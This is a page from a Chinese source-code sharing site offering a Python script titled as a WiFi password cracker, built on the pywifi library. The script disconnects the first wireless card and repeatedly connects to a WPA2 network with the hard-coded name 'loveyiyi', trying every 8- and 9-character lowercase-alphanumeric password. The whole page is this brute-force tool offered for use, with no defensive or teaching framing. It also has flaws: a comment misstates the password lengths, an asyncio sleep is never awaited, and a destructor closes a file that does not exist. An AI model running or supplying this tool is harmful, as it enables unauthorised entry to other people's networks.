黑盾网络资源网-互联网分享平台丨源码交易丨源码下载丨技术教程丨架设教程丨端游源码丨页游源码丨手游源码…

python破解wifi密码

  1. import time  # 时间
  2. from asyncio.tasks import sleep
  3. import itertools
  4. import pywifi  # 破解wifi
  5. from pywifi import const  # 引用一些定义
  6. class PoJie():
  7.     def __init__(self):
  8.         wifi = pywifi.PyWiFi() #抓取网卡接口
  9.         self.iface = wifi.interfaces()[0]#抓取第一个无限网卡
  10.         self.iface.disconnect() #测试链接断开所有链接
  11.         time.sleep(1) #休眠1秒
  12.         #测试网卡是否属于断开状态,
  13.         assert self.iface.status() in\
  14.             [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
  15.     def readPassWord(self):
  16.         print(“开始破解:”)
  17.         chars = ‘0123456789abcdefghijklmnopqrstuvwxyz’
  18.         for password_length in range(8, 10):  # 这里我们尝试长度为1到8的密码
  19.     # 使用itertools.product生成所有可能的密码组合
  20.     # print(password_length)
  21.             for password_tuple in itertools.product(chars, repeat=password_length):
  22.                 password = ”.join(password_tuple)
  23.                 # if password == “123”:
  24.                 #     print(password)
  25.                 print(f’正在尝试密码{password}’)
  26.                 try:
  27.                     myStr = password
  28.                     if not myStr:
  29.                         break
  30.                     bool1=self.test_connect(myStr)
  31.                     if bool1:
  32.                         print(“密码正确:”,myStr)
  33.                         break
  34.                     else:
  35.                         print(“密码错误:”+myStr)
  36.                     sleep(3)
  37.                 except:
  38.                     continue
  39.     def test_connect(self,findStr):#测试链接
  40.         profile = pywifi.Profile()  #创建wifi链接文件
  41.         profile.ssid =”loveyiyi” #wifi名称
  42.         profile.auth = const.AUTH_ALG_OPEN  #网卡的开放,
  43.         profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
  44.         profile.cipher = const.CIPHER_TYPE_CCMP    #加密单元
  45.         profile.key = findStr #密码
  46.         self.iface.remove_all_network_profiles() #删除所有的wifi文件
  47.         tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件
  48.         self.iface.connect(tmp_profile)#链接
  49.         time.sleep(5)
  50.         if self.iface.status() == const.IFACE_CONNECTED:  #判断是否连接上
  51.             isOK=True
  52.         else:
  53.             isOK=False
  54.         self.iface.disconnect() #断开
  55.         time.sleep(1)
  56.         #检查断开状态
  57.         assert self.iface.status() in\
  58.             [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
  59.         return isOK
  60.     def __del__(self):
  61.         self.file.close()
  62. start=PoJie()
  63. start.readPassWord()

复制代码

------本页内容已结束,喜欢请分享------

感谢您的来访,本站QQ交流群:928156386

© 版权声明
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片快捷回复

    暂无评论内容